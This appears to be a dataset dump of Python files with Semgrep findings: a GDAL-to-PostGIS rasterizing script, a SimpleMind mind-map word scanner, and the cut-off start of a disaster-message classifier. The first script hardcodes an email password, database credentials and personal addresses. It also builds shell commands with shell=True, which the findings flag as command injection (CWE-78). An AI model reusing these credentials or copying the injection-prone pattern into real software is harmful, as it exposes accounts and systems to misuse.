logTime = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
currLog = os.path.join(os.path.dirname(sys.argv[0]), pfx + datetime.datetime.now().strftime("%Y%m%d_%H%M%S.log"))
fLog = open(currLog, 'w')
lstLog = []
lstLog.append("------------------------------------------------------------------\n")
lstLog.append("Log file for {0}\n".format(sys.argv[0]))
lstLog.append("Date:{0} \n".format(datetime.datetime.now().strftime("%B %d, %Y - %H%M")))
lstLog.append("User:{}\n".format(getpass.getuser()))
lstLog.append("\n")
lstLog.append("------------------------------------------------------------------\n")
sLog = ''.join(lstLog)
fLog.write(sLog)
if bMsg:
print(sLog)
return fLog
def WriteLog(fLog, sMessage, bMsg=False):
ts = datetime.datetime.now().strftime("%B %d, %Y - %H%M")
sMsg = '{0} - {1}'.format(ts, sMessage)
fLog.write(sMsg)
if bMsg:
print(sMsg)
def LoadListFromCSV(inCSV):
import csv
processLst = []
with open(inCSV) as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
line_count = 0
for row in csv_reader:
if line_count == 0:
pass
#print(row)
else:
#print('{0}-{1}-{2}'.format(row[0], row[1], row[2]))
processLst.append([row[0], row[1], row[2], row[3]])
line_count += 1
return processLst
def Rasterize(db, sql, fld, outWrk, outName):
print('Rasterize..........................')
db = 'PG:"{0}"'.format(db)
fld = fld.lower()
outTIFF = os.path.join(outWrk, '{0}.tif'.format(outName))
sql = '"{0}"'.format(sql)
print('-----{0}'.format(db))
print('-----{0}'.format(fld))
print('-----{0}'.format(outTIFF))
print('-----{0}'.format(sql))
#--Build the command to run the GDAL Rasterize
cmd = 'gdal_rasterize -tr 100 100 -te 273287.5 359687.5 1870587.5 1735787.5 -a {0} {1} -sql {2} {3}'.format(fld, db, sql, outTIFF)
print ('-----Running CMD:\n-----{0}'.format(cmd) )
print (outTIFF )
try:
#subprocess.call(cmd, shell=True)
subprocess.check_output(cmd, shell=True)
except subprocess.CalledProcessError as e:
print(e.output)
raise Exception(str(e.output))
except :
print(str(e))
raise Exception(str(e))
return outTIFF
def TIFF2PostGIS(tiff, db, outName):
print('TIFF2PostGIS..........................')
print('-----{0}'.format(tiff))
print('-----{0}'.format(db))
print('-----{0}'.format(outName))
cmd = 'raster2pgsql -s 3005 -d -I -C -M {0} -t 100x100 {1} | psql {2}'.format(tiff, outName, db)
print ('-----Running CMD:\n-----{0}'.format(cmd) )
try:
#subprocess.call(cmd, shell=True)
subprocess.check_output(cmd, shell=True)
except subprocess.CalledProcessError as e:
print(e.output)
raise Exception(str(e.output))
except:
print(str(e))
raise Exception(str(e))
if __name__ == '__main__':
emailPwd = 'bruins26'
#--Create a Log File
kennyloggins = CreateLogFile(True)
#--Read inputs into a Processing List
inputCSV = os.path.join(os.path.dirname(sys.argv[0]), 'CLUS_GDAL_Rasterize_VRI_Input.csv')
processList =LoadListFromCSV(inputCSV)
errList = []
bRemoveTIFF = False
bSendEmails = True
#srcDB = "host='localhost' dbname = 'postgres' port='5432' user='postgres' password='postgres'"
#outDB = "-d postgres"
#tiffWork = r'C:\Users\mwfowler\tiff'
tiffWork = r'C:\Users\KLOCHHEA'
srcDB = "host='DC052586.idir.bcgov' dbname = 'clus' port='5432' user='postgres' password='postgres'"
outDB = "-d clus"
for itm in processList:
#--Only process the input records with a PROCESS = 'Y'
if itm[3].upper() == 'Y':
outName = itm[0]
fld = itm[1]
sql = itm[2]
WriteLog(kennyloggins, 'Processing:{0}\n'.format(str(itm)), True)
try:
WriteLog(kennyloggins, 'Running Rasterize....\n', True)
#--Rasterize the source to Tiff
outTIFF = Rasterize(srcDB, sql, fld, tiffWork, outName)
WriteLog(kennyloggins, 'Running TIFF2PostGIS....\n', True)
#--Load the TIFF to Postgres
TIFF2PostGIS(outTIFF, outDB, outName)
#--Delete the TIFF if flagged to do so
if bRemoveTIFF:
os.remove(outTIFF)
if bSendEmails:
send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', 'CLUS-Rasterize-Processed', '{0}\n{1}\n'.format(outDB, str(itm)))
except:
WriteLog(kennyloggins, 'Error: {0}\n'.format(str(e)), True)
if bSendEmails:
send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', '***CLUS-Rasterize-Error***', '{0}\n{1}'.format(str(itm), str(e)))
errList.append(itm)
if len(errList) > 0:
WriteLog(kennyloggins, 'Writing out Errors......\n', True)
WriteOutErrors(errList)
if bSendEmails:
send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', 'CLUS-Rasterize-Complete', 'The script finished\n')
kennyloggins.close()
| 189 | 40.51 | 156 | 20 | 2,134 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_37e035776bd78f16_c0c1c811", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 12, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 46, "col": 12, "offset": 1712}, "end": {"line": 46, "col": 29, "offset": 1729}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_37e035776bd78f16_ca68ff26", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 65, "col": 5, "offset": 2733}, "end": {"line": 65, "col": 30, "offset": 2758}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_37e035776bd78f16_12019dd9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 12, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 65, "col": 12, "offset": 2740}, "end": {"line": 65, "col": 30, "offset": 2758}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_37e035776bd78f16_70b87580", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 10, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 87, "col": 10, "offset": 3561}, "end": {"line": 87, "col": 21, "offset": 3572}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_37e035776bd78f16_02db3b70", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 115, "line_end": 115, "column_start": 9, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 115, "col": 9, "offset": 4684}, "end": {"line": 115, "col": 49, "offset": 4724}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_37e035776bd78f16_50b7b7ca", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 115, "line_end": 115, "column_start": 44, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 115, "col": 44, "offset": 4719}, "end": {"line": 115, "col": 48, "offset": 4723}, "extra": {"message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_37e035776bd78f16_54d79ae6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 132, "line_end": 132, "column_start": 9, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 132, "col": 9, "offset": 5331}, "end": {"line": 132, "col": 49, "offset": 5371}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_37e035776bd78f16_772f6de3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 132, "line_end": 132, "column_start": 44, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 132, "col": 44, "offset": 5366}, "end": {"line": 132, "col": 48, "offset": 5370}, "extra": {"message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 8 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
115,
115,
132,
132
] | [
115,
115,
132,
132
] | [
9,
44,
9,
44
] | [
49,
48,
49,
48
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess'... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"HIGH",
"LOW",
"HIGH"
] | [
"HIGH",
"LOW",
"HIGH",
"LOW"
] | CLUS_GDAL_Rasterize_VRI.py | /Python/VRI/CLUS_GDAL_Rasterize_VRI.py | ElizabethKleynhans/clus | Apache-2.0 | |
2024-11-18T18:39:56.084935+00:00 | 1,671,611,487,000 | 258974f7767b64eae422bdc688f06fff85c9aee9 | 3 | {
"blob_id": "258974f7767b64eae422bdc688f06fff85c9aee9",
"branch_name": "refs/heads/master",
"committer_date": 1671611487000,
"content_id": "81a8474823268faed986932af13fbefe157f0593",
"detected_licenses": [
"MIT"
],
"directory_id": "c1179a2582304b499026a07e0fceb696239adc31",
"extension": "py",
"filename": "smmx.py",
"fork_events_count": 0,
"gha_created_at": 1595591361000,
"gha_event_created_at": 1671611487000,
"gha_language": "PowerShell",
"gha_license_id": "MIT",
"github_id": 282206416,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3037,
"license": "MIT",
"license_type": "permissive",
"path": "/scanners/smmx.py",
"provenance": "stack-edu-0054.json.gz:570163",
"repo_name": "psxvoid/simple-mind-quick-search",
"revision_date": 1671611487000,
"revision_id": "547286ce59bd77301bd4e92513bd27f7d381d66c",
"snapshot_id": "0fbf471293e5f4b2df02fc655883759afeb1df11",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/psxvoid/simple-mind-quick-search/547286ce59bd77301bd4e92513bd27f7d381d66c/scanners/smmx.py",
"visit_date": "2023-01-14T02:15:50.819634"
} | 2.765625 | stackv2 | #!python3
from xml.etree import ElementTree as et
import glob
import os
import pathlib
import string
import collections
import copy
import inspect
import shlex
import zipfile
try:
import zlib
compression = zipfile.ZIP_DEFLATED
except:
compression = zipfile.ZIP_STORED
class SearchModelContext(collections.MutableMapping):
def __init__(self, filenames = None):
super(SearchModelContext, self).__init__()
if filenames != None:
self.filenames = filenames
self.length = 1
self.count = 1
def merge(self, other):
self.filenames = self.filenames + other.filenames
def getNames(self):
names = []
for path in self.filenames:
filename = os.path.basename(path)
if filename not in names:
names.append(filename)
return names
def copy(self):
self_copy = SearchModelContext()
for k, v in inspect.getmembers(self):
if k != '__weakref__':
setattr(self_copy, k, v)
return self_copy
def __getitem__(self, key):
return getattr(self, key)
def __setitem__(self, key, value):
if not hasattr(self, key):
self.length = self.length + 1
self.count = self.count + 1
setattr(self, key, value)
def __delitem__(self, key):
delattr(self, key)
self.length = self.length - 1
self.count = self.count - 1
def __iter__(self):
return self.__dict__.items()
def __len__(self):
return self.length
def __keytransform__(self, key):
return key
def read_smmx_as_words(filename):
try:
with zipfile.ZipFile(filename, mode='r') as smmx:
with smmx.open('document/mindmap.xml', mode='r') as document:
try:
etree = et.fromstring(document.read())
notags = et.tostring(etree, encoding='utf8', method='text')
word_list = notags.split()
words = {word_list[i].decode("utf-8").lower(): SearchModelContext(
[filename]) for i in range(0, len(word_list))}
return words
except:
print("ERRROR!!! Invalid XML!!!")
print(filename)
return {}
except:
print("ERRROR!!! Invalid ZIP!!!")
print(filename)
return {}
def scan(rootdir):
words = {}
paths = []
for filename in glob.iglob(rootdir + '/**', recursive=True):
if os.path.isfile(filename): # filter dirs
if pathlib.Path(filename).suffix == '.smmx':
paths.append(filename)
file_words = read_smmx_as_words(filename)
for word in file_words:
if (word not in words):
words[word] = file_words[word]
else:
words[word].merge(file_words[word])
return words, paths
| 103 | 28.49 | 86 | 21 | 656 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_972abfc4c87aabe6_a7ea718d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 1, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/972abfc4c87aabe6.py", "start": {"line": 3, "col": 1, "offset": 11}, "end": {"line": 3, "col": 40, "offset": 50}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
3
] | [
3
] | [
1
] | [
40
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | smmx.py | /scanners/smmx.py | psxvoid/simple-mind-quick-search | MIT | |
2024-11-18T18:39:58.198406+00:00 | 1,612,321,096,000 | 7d9fdebc58e5d419d1e049d1cfb9091413b522f9 | 3 | {
"blob_id": "7d9fdebc58e5d419d1e049d1cfb9091413b522f9",
"branch_name": "refs/heads/main",
"committer_date": 1612321096000,
"content_id": "7f415e5899e10e166069c951d41093f7dc8f3f06",
"detected_licenses": [
"MIT"
],
"directory_id": "92da826e149485eb59923ac3bbe81a4649eca47f",
"extension": "py",
"filename": "train_classifier.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 330739698,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4241,
"license": "MIT",
"license_type": "permissive",
"path": "/models/train_classifier.py",
"provenance": "stack-edu-0054.json.gz:570188",
"repo_name": "JayaPrakas/udacity_disaster_pipeline",
"revision_date": 1612321096000,
"revision_id": "990049866875600014584b584d8927fcd312a6dc",
"snapshot_id": "7406acd3d54e3ca31a265f01b6f97157d94521c0",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/JayaPrakas/udacity_disaster_pipeline/990049866875600014584b584d8927fcd312a6dc/models/train_classifier.py",
"visit_date": "2023-03-02T23:42:56.907289"
} | 2.96875 | stackv2 | import sys
import numpy as np
import pandas as pd
from sqlalchemy import create_engine
import re
import pickle
import nltk
from nltk.tokenize import word_tokenize,sent_tokenize
from nltk.stem import WordNetLemmatizer
from nltk.corpus import stopwords
from sklearn.metrics import confusion_matrix
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import RandomForestClassifier,AdaBoostClassifier
from sklearn.naive_bayes import MultinomialNB
from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer, TfidfVectorizer
from sklearn.multioutput import MultiOutputClassifier
from sklearn.naive_bayes import MultinomialNB
from sklearn.pipeline import Pipeline
from sklearn.metrics import classification_report
from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score
from sklearn.model_selection import GridSearchCV
nltk.download(['punkt','stopwords','wordnet'])
def load_data(database_filepath):
""" Takes input database file path and creates sqlite engine and returns data frames used for our model and category names """
engine = create_engine('sqlite:///'+ database_filepath)
df = pd.read_sql_table('messages', engine)
X = df.message
Y = df.iloc[:,4:]
category_names = list(df.columns[4:])
return X, Y, category_names
def tokenize(text):
""" Cleans the data files which is given as text to numerical for us to perform machine learning classification """
text = re.sub(r"[^a-zA-Z0-9]", " ", text.lower())
tokens = word_tokenize(text)
lemmatizer = WordNetLemmatizer()
clean_tokens = []
for tok in tokens:
clean_tok = lemmatizer.lemmatize(tok).lower().strip()
clean_tokens.append(clean_tok)
return clean_tokens
def build_model():
""" Machine learning pipeline is created """
pipeline = Pipeline([
('vect', CountVectorizer(tokenizer=tokenize)),
('tfidf', TfidfTransformer()),
('clf', MultiOutputClassifier(RandomForestClassifier()))
])
parameters = {
'vect__min_df': [1, 5],
'tfidf__use_idf':[True, False],
'clf__estimator__n_estimators':[10, 20]
}
cv = GridSearchCV(pipeline, param_grid=parameters)
return cv
def evaluate_model(model, X_test, Y_test, category_names):
